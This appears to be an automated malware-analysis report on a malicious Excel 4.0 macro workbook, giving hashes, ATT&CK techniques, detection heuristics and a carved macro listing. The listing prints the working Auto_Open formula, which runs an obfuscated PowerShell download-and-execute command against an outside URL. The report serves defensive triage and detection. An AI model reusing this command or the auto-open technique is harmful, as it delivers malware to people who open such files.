Office (OLE) malware analysis — malicious · 963723692605f232

MALICIOUS

Office (OLE)

149.5 KB Created: 2019-10-22 07:10:34 Authoring application: Microsoft Excel First seen: 2020-09-07

MD5: ea3656edbabd649c8ce165dae5cff93b SHA-1: 7e3e411c8ee6760b71fc7f7a0532b82e571112e8 SHA-256: 963723692605f2326fb12c3a5fff634456332c927135cd1ffdd4144c378de1d1

260 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains an Excel 4.0 macro sheet with an Auto_Open entry that executes a PowerShell command. This command is designed to download and execute a second-stage payload from the URL 'http://bluechipservicesinternational.org/d'. The use of Auto_Open and a PowerShell execution command indicates a malicious intent to compromise the user's system.

Heuristics 6

Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME

oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN

Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
Reference to PowerShell high SC_STR_POWERSHELL

Reference to PowerShell
LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND

Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN

Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`xlm_macros.txt`	xlm-macro	oletools.olevba.extract_all_macros (XLM macro listing)	706 bytes
SHA-256: `7605fe0954d8d33393a7ffa721e7528dc68803d057f877390c51425b73b69179`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 1 shell/COM execution token(s). Carved macro source contains an auto-exec entry point and execution/download terms.
Preview script First 1,000 lines of the extracted script ' 0085 14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible - Macro ' 0085 14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible - Sheet ' 0018 23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d Sheet!A9591 ' 0018 26 LABEL : Cell Value, String Constant - gefg len=7 ptgRef3d Macro!A1 ' 002a 2 PRINTHEADERS : Print Row/Column Labels ' 002a 2 PRINTHEADERS : Print Row/Column Labels ' Sheet,Reference,Formula,Value ' Macro,A2,RETURN(),"" ' Macro,A9591,EXEC("powershell.exe -Command IEX (New-Object('Net.WebClient')).'DoWnloAdsTrInG'('ht'+'tp://bluechipservicesinternational.org/d')"),"" ' Macro,A30000,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.